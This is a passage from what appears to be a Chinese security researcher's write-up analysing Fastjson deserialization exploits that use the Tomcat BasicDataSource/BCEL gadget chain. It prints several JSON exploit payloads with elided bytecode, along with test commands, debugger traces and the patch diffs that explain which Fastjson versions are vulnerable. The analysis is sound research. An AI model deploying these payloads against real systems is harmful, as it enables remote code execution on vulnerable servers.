com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_BasicDataSource
这些类是Fastjson反序列化过程中动态生成的,只存在于内存中。参[77],看到一招, 用于转储这些反序列化过程中动态生成的类。
下面这两个函数负责动态生成上述类:
/ * 1.2.24 * * com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory.createJavaBeanDeserializer / public ObjectDeserializer createJavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) throws Exception { Class<?> clazz = beanInfo.clazz; if (clazz.isPrimitive()) { throw new IllegalArgumentException("not support type :" + clazz.getName()); }
String className = "FastjsonASMDeserializer_" + seed.incrementAndGet() + "_" + clazz.getSimpleName();
String packageName = ASMDeserializerFactory.class.getPackage().getName();
String classNameType = packageName.replace('.', '/') + "/" + className;
String classNameFull = packageName + "." + className;
ClassWriter cw = new ClassWriter();
cw.visit(V1_5, ACC_PUBLIC + ACC_SUPER, classNameType, type(JavaBeanDeserializer.class), null);
_init(cw, new Context(classNameType, config, beanInfo, 3));
_createInstance(cw, new Context(classNameType, config, beanInfo, 3));
_deserialze(cw, new Context(classNameType, config, beanInfo, 5));
_deserialzeArrayMapping(cw, new Context(classNameType, config, beanInfo, 4));
byte[] code = cw.toByteArray();
Class<?> exampleClass = defineClassPublic(classNameFull, code, 0, code.length);
Constructor<?> constructor = exampleClass.getConstructor(ParserConfig.class, JavaBeanInfo.class);
Object instance = constructor.newInstance(config, beanInfo);
return (ObjectDeserializer) instance;
}
/ * 1.2.24 * * com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory.defineClassPublic / private Class<?> defineClassPublic(String name, byte[] b, int off, int len) { return classLoader.defineClassPublic(name, b, off, len); }
在调试器中拦截defineClassPublic(),第二形参b就是动态生成的类的字节码。
假设用Eclipse Attach调试,在"Debug Shell"窗口中输入:
(new java.io.FileOutputStream("out.class")).write(b)
右键选中这行代码,选择Execute或Display。这行代码将在被调试的JVM中执行,不 是在Eclipse进程空间中执行,所以out.class将保存在被调试JVM所在文件系统。远 程调试时务必注意这点,我之前傻不拉叽地在Eclipse所在文件系统中找out.class, 都动用Process Monitor了,硬是没发现其踪迹,差点怀疑人生。
用jdb也可以转储,原理一样。
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory.defineClassPublic
[1] com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory.defineClassPublic (ASMDeserializerFactory.java:89), pc = 0 [2] com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory.createJavaBeanDeserializer (ASMDeserializerFactory.java:80), pc = 266 [3] com.alibaba.fastjson.parser.ParserConfig.createJavaBeanDeserializer (ParserConfig.java:591), pc = 512 [4] com.alibaba.fastjson.parser.ParserConfig.getDeserializer (ParserConfig.java:461), pc = 915 [5] com.alibaba.fastjson.parser.ParserConfig.getDeserializer (ParserConfig.java:312), pc = 31 [6] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:367), pc = 1,078 [7] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,327), pc = 222 [8] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,293), pc = 2 [9] com.alibaba.fastjson.JSON.parse (JSON.java:137), pc = 20 [10] com.alibaba.fastjson.JSON.parse (JSON.java:128), pc = 4 [11] com.alibaba.fastjson.JSON.parseObject (JSON.java:201), pc = 1 [12] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11
在jdb中执行:
eval (new java.io.FileOutputStream("out.class")).write(b)
之前不知道调试器中可以这样用评估表达式,孤陋寡闻了。转储动态生成的类没啥大 意义,只是满足好奇心。
1.2.68用的是:
com.alibaba.fastjson.util.ASMClassLoader.defineClassPublic()
11) 通过$ref指定被触发的getter
参[77],作者提到threedream发现一种办法,使得Fastjson反序列过程中可以调用指 定getter。本节对之测试一番。
11.1) Fastjson_BasicDataSource4.json
{ '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A', 'a': { '$ref':'$.connection' } }
Fastjson_BasicDataSource4.json长得跟Fastjson_BasicDataSource.json很像,但 多了一些内容:
'a':
{
'$ref':'$.connection'
}
按[77]的说法,从Fastjson 1.2.36开始,可以通过$ref指定被引用的属性,从而间 接指定被触发的getter。
JavaBeanDeserializer支持$ref这种技巧,ThrowableDeserializer不支持,后者没 有parseField()方法。
11.2) 测试
之前说过,FastjsonDeserialize调的是:
JSON.parseObject( fis, Object.class, Feature.SupportNonPublicField )
FastjsonDeserialize反序列化Fastjson_BasicDataSource.json时未能得手,原因是 没机会调用:
org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection()
现在尝试用FastjsonDeserialize反序列化Fastjson_BasicDataSource4.json。之前 还说过,BasicDataSource攻击链只能用于1.2.24及更低版本,主要原因是更高版本 的黑名单检查。而$ref这种用法要求1.2.36及更高版本。想搞清楚$ref背后的机理, [77]里说了一些,若想搞清楚,还是自己调试吧。决定用1.2.68进行测试,启用白名 单。
java \ -Dfastjson.parser.autoTypeSupport=true \ -Dfastjson.parser.autoTypeAccept=org.,com. \ -cp "fastjson-1.2.68.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource4.json
启用白名单之后可达预期目的,连异常都没有抛。注意,此次调试分析与漏洞无关, 是寻找$ref背后的机理。
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Dfastjson.parser.autoTypeSupport=true \ -Dfastjson.parser.autoTypeAccept=org.,com. \ -cp "fastjson-1.2.68.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource4.json
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop at com.alibaba.fastjson.parser.ParserConfig:1311 stop in com.alibaba.fastjson.util.ASMClassLoader.defineClassPublic stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassLoader stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassName stop at com.alibaba.fastjson.parser.DefaultJSONParser:399 stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection() stop in com.sun.org.apache.bcel.internal.util.ClassLoader.createClass stop in java.lang.Runtime.exec(java.lang.String[]) stop in java.io.PrintStream.println(java.lang.String) monitor wherei
断点依次命中。
11.4) 简化版调用关系
JSON.parseObject // 8u232+1.2.68+7.0.99
// parseObject(InputStream is, Type type, Feature... features)
JSON.parseObject // JSON:461
// parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features)
DefaultJSONParser.parseObject // JSON:396
// parseObject(Type type, Object fieldName)
JavaObjectDeserializer.deserialze // DefaultJSONParser:688
DefaultJSONParser.parse // JavaObjectDeserializer:46
DefaultJSONParser.parseObject // DefaultJSONParser:1401
// parseObject(Map object, Object fieldName)
ParserConfig.checkAutoType // DefaultJSONParser:333
// typeName等于"org.apache.tomcat.dbcp.dbcp.BasicDataSource"
// 通过白名单检查
// 加载"org.apache.tomcat.dbcp.dbcp.BasicDataSource"
JavaBeanDeserializer.deserialze // DefaultJSONParser:395
FastjsonASMDeserializer_1_BasicDataSource.deserialze // JavaBeanDeserializer:284
JavaBeanDeserializer.parseRest
JavaBeanDeserializer.deserialze // JavaBeanDeserializer:1573
// protected
11.5) Fastjson_BasicDataSource5.json
参[32],看了一下JSONPath的wiki,基于"$ref"属性的处理流程,可以这样写json:
{ '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A', 'a': { '$ref':"$['connection']" } }
$['connection']和$.connection都表示名为connection的属性。
java \ -Dfastjson.parser.autoTypeSupport=true \ -Dfastjson.parser.autoTypeAccept=org.,com. \ -cp "fastjson-1.2.68.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource5.json
可达预期目的,未抛异常。
java \ -Dfastjson.parser.autoTypeSupport=true \ -Dfastjson.parser.autoTypeAccept=org.,com. \ -cp "fastjson-1.2.68.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource5.json
可达预期目的,但抛了异常,输出2次"scz is here",恶意代码被执行了2次。
强调一下,$ref本身不形成漏洞,只是增大getter被调用的可能性。
12) Fastjson_BasicDataSource6_bad.json
{ '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A', 'logWriter':null }
这是个YY出来的方案,Fastjson不能成功。同样的技术原理,Jackson可以成功。
java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource6_bad.json
java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource6_bad.json
上述两条命令均抛异常:
Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class java.io.PrintWriter at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:213) at com.alibaba.fastjson.parser.ParserConfig.createJavaBeanDeserializer(ParserConfig.java:526) at com.alibaba.fastjson.parser.ParserConfig.getDeserializer(ParserConfig.java:461)
本意是触发:
org.apache.tomcat.dbcp.dbcp.BasicDataSource.setLogWriter()
其函数原型是:
public void setLogWriter ( java.io.PrintWriter logWriter )
反序列化时先去找java.io.PrintWriter的无参构造函数,没有,抛异常。
13) Fastjson_BasicDataSource7.json (33~36可利用)
2020.10.19,微博ID为"香依香偎"的网友反馈了个问题,指出[25,32]、48及以上版 本无法利用BasicDataSource,但[33,47]可以利用,而不是之前想像的25及以上版本 都无法利用。参看:
https://github.com/yaojieno1/Fastjson_Poc_1.2.36_bcel https://github.com/yaojieno1/Fastjson_Poc_1.2.36_bcel/blob/master/src/main/resources/poc-bcel-36-parseobject.txt https://github.com/yaojieno1/Fastjson_Poc_1.2.36_bcel/blob/master/src/main/resources/poc-bcel-37-parseobject.txt
把Fastjson_BasicDataSource_bad_2.json、Fastjson_BasicDataSource3.json结合 一下,形成Fastjson_BasicDataSource7.json。
{ 'a': { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, 'b': { '@type':"java.lang.Class", 'val':'com.sun.org.apache.bcel.internal.util.ClassLoader' }, { '@type':"com.alibaba.fastjson.JSONObject", 'c': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } }:'d' }
java \ -cp "fastjson-1.2.33.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource7.json
java \ -cp "fastjson-1.2.33.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource7.json
ls -l /tmp/scz_is_here
13.1) 为什么33~36可利用
参看:
https://github.com/alibaba/fastjson/compare/1.2.25...1.2.33 https://github.com/alibaba/fastjson/compare/1.2.25...1.2.33.diff https://github.com/alibaba/fastjson/commit/df8daa40356236a2133e335f6ea0a671e89663b0
"香依香偎"指出如下829行处的变化。
/ * 1.2.33 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType(String, Class) : Class / public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; }
if (typeName.length() >= maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
/ * 829行,1.2.25此处只有 * * if (className.startsWith(deny)) * * 1.2.33此处增加了 * * TypeUtils.getClassFromMapping(typeName) == null / if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } }
13.2) 为什么37不可利用
参看:
https://github.com/alibaba/fastjson/compare/1.2.33...1.2.37 https://github.com/alibaba/fastjson/compare/1.2.33...1.2.37.diff https://github.com/alibaba/fastjson/commit/33eaec097f6cf7c23c7cf8dc08f9ca7b21f9f54c
"香依香偎"指出如下416行处的变化
/ * 1.2.37 * * com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(Map, Object) : Object / public final Object parseObject(final Map object, Object fieldName) { ... / * 416行,1.2.33此处是 * * key = (key == null) ? "null" : key.toString() * * 1.2.37删除了 * * key.toString() / if (object.getClass() == JSONObject.class) { if (key == null) { key = "null"; } }
我看1.2.68代码时注意到此间变化,但没有回溯调研,如今看来就是1.2.37开始的; 这个变化使得相应攻击技巧失效。
14) Fastjson_BasicDataSource8.json (36~47可利用)
把Fastjson_BasicDataSource_bad_2.json、Fastjson_BasicDataSource5.json结合 一下,形成Fastjson_BasicDataSource8.json。
1.2.36才开始支持$ref这种技巧。
{ 'a': { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, 'b': { '@type':"java.lang.Class", 'val':'com.sun.org.apache.bcel.internal.util.ClassLoader' }, 'c': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A', '$ref':'$.c.connection' } }
java \ -cp "fastjson-1.2.47.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource8.json
java \ -cp "fastjson-1.2.47.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource8.json
ls -l /tmp/scz_is_here
不会抛异常,直接成功。
☆ 小结
BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本。
曾经用于JdbcRowSetImpl攻击链的1.2.25至1.2.47的所有补丁绕过方案均无法用于 BasicDataSource攻击链,各有原因。
java.lang.Class.forName()有机会执行目标类静态代码块,jdb中可拦截some.
java.lang.ClassLoader.defineClass()并不会执行目标类静态代码块。
Class.forName0()中执行静态代码块时并不是通过ClassLoader.defineClass()触发 的,native方法中另有触发点,触发点位于对defineClass()调用之后的某处。
com.sun.org.apache.bcel.internal.util.ClassLoader加载class时对类名有特殊流 程,如果类名中包含"$$BCEL$$"子串,则判定此类名中还包含经BCEL编码过的类的字 节码。此时util.ClassLoader会从特殊类名中解码还原出类的字节码并加载之,这个 操作太邪恶。这是整个攻击过程中最有意思的部分,或许在别处用得上。
就BasicDataSource攻击链而言,可以不用静态代码块执行恶意代码,后面另有机会
调用恶意类的无参构造函数,jdb中可拦截some.
"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"亦可用于攻击。
☆ 近几年为安全工程师不会饿死做出突出贡献的几个东西
a. Struts2 b. ThinkPhp c. (完形填空)
作为正经程序员,我跨界瞎猜了一个WebLogic,然后题主告诉我标准答案是Fastjson。
☆ 参考资源
[32] https://github.com/alibaba/fastjson
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.14/fastjson-1.2.14.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.33/fastjson-1.2.33.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.33/fastjson-1.2.33-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.36/fastjson-1.2.36.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.37/fastjson-1.2.37.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.37/fastjson-1.2.37-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.41/fastjson-1.2.41.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.50/fastjson-1.2.50.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.51/fastjson-1.2.51.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.51/fastjson-1.2.51-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.59/fastjson-1.2.59.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.59/fastjson-1.2.59-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.60/fastjson-1.2.60.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.60/fastjson-1.2.60-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.61/fastjson-1.2.61.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.62/fastjson-1.2.62.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.66/fastjson-1.2.66.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.67/fastjson-1.2.67.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.67/fastjson-1.2.67-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.68/fastjson-1.2.68.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.68/fastjson-1.2.68-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.69/fastjson-1.2.69.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.69/fastjson-1.2.69-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.70/fastjson-1.2.70.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.70/fastjson-1.2.70-sources.jar
JSONPath
https://github.com/alibaba/fastjson/wiki/JSONPath
[33] FastJson反序列化漏洞利用的三个细节TemplatesImpl利用链 - KINGX [2018-07-06] https://kingx.me/Details-in-FastJson-RCE.html https://mp.weixin.qq.com/s/C1Eo9wst9vAvF1jvoteFoA https://paper.seebug.org/636/
[73] https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/ https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/tomcat-dbcp-7.0.99.jar
https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/
https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/dbcp-6.0.53.jar
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/tomcat-dbcp-9.0.20.jar
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/tomcat-juli-9.0.20.jar
[76] Java动态类加载 当FastJson遇到内网 - KINGX [2019-12-31] https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
[77] 浅谈fastjson反序列化漏洞 - [2020-04-13] http://blog.0kami.cn/2020/04/13/talk-about-fastjson-deserialization/